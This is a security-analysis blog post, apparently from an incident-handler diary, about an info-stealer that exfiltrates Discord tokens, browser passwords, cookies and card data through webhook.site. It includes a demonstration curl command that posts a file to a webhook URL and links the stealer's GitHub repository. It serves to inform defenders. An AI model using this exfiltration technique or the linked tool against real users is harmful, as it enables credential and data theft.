Info-Stealer Using webhook.site to Exfiltrate Data
We already reported multiple times that, when you offer an online (cloud) service, there are a lot of chances that it will be abused for malicious purposes. I spotted an info-stealer that exfiltrates data through webhook.site
. Today, many Python scripts use Discord as a C2 communication channel. This time, something different and that looks definitively less suspicious.
webhook.site
is an online service that helps you to test webhooks. By definition, a webhook[1] is a technique used to modify a page or an application with custom callbacks. They are also often used to automate data manipulations. Webhooks are perfect to receive JSON data through HTTP POST requests.
The malicious tool is Hazard-Token-Grabber-V2, available on GitHub[2] for a few days. Actually, it has a very low VT score: 3/56[3]. The script extracts a lot of information from the infected system:
- Username
- ComputerName
- IP
- City
- Region
- Country
- Google Maps Location
- Screenshot of their pc
- All Their Valid Discord Tokens (bypasses betterdiscord's anti-token-grab-protector)
- Password For Discord (You get Their Password if They Update it)
- Their Whole Credit Card (if They Put one in)
- All Their Chrome Passwords And Cookies
How does work webhook.site
? When you visit the page, they will generate a unique webhook for you. Now, you can just watch hit and send HTTP POST requests to it. For example, my webhook was:
https://webhook.site/4accef15-fa3b-4926-a853-2b020accd3a2
I sent this requests:
$ echo “This is a far file” >file.txt $ curl -X POST --data-binary @file.txt hxxps://webhook[.]site/4accef15-fa3b-4926-a853-2b020accd3a2
Data is instantly received by the webhook that the attacker is probably monitoring:
A very efficient and stealthy way to exfiltrate data!
[1] https://en.wikipedia.org/wiki/Webhook
[2] https://github.com/Rdimo/Hazard-Token-Grabber-V2
[3] https://www.virustotal.com/gui/file/efe6d18849828e14855b0f493652183b39c7553621b78b89a05157705314a7b4/details
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Singapore | Nov 18th - Nov 22nd 2024 |
Comments